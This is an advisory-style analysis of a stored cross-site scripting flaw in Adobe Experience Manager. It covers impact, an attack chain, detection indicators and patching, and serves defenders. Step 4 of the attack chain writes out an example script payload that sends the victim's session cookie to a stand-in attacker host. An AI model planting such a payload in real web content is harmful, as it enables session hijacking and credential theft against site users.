CVE-2025-64825: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64825 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, with the attack vector being network-based. The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The changed scope means the attack can affect users and resources beyond the attacker's own privilege level (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web fingerprinting techniques.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Identify vulnerable form fields: Navigate AEM's authoring interface to locate form fields that do not properly sanitize user input before storing and rendering it.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected content, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing HTML/JavaScript tags or encoded XSS payloads in form field parameters; unusual content submissions from low-privileged accounts.
• File System / Content Repository: Stored content nodes in the AEM JCR repository containing unexpected <script> tags, event handlers (e.g., onerror, onload), or JavaScript URIs in text fields.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unexpected cookie or session data transmitted to external hosts.
• Process/Application: Browser developer console errors or alerts triggered on AEM pages that were not present before recent content edits.

Adobe has released patches addressing CVE-2025-64825. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service to the 2025.12.0 release or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review and restrict content authoring permissions to minimize the attack surface (Adobe Advisory).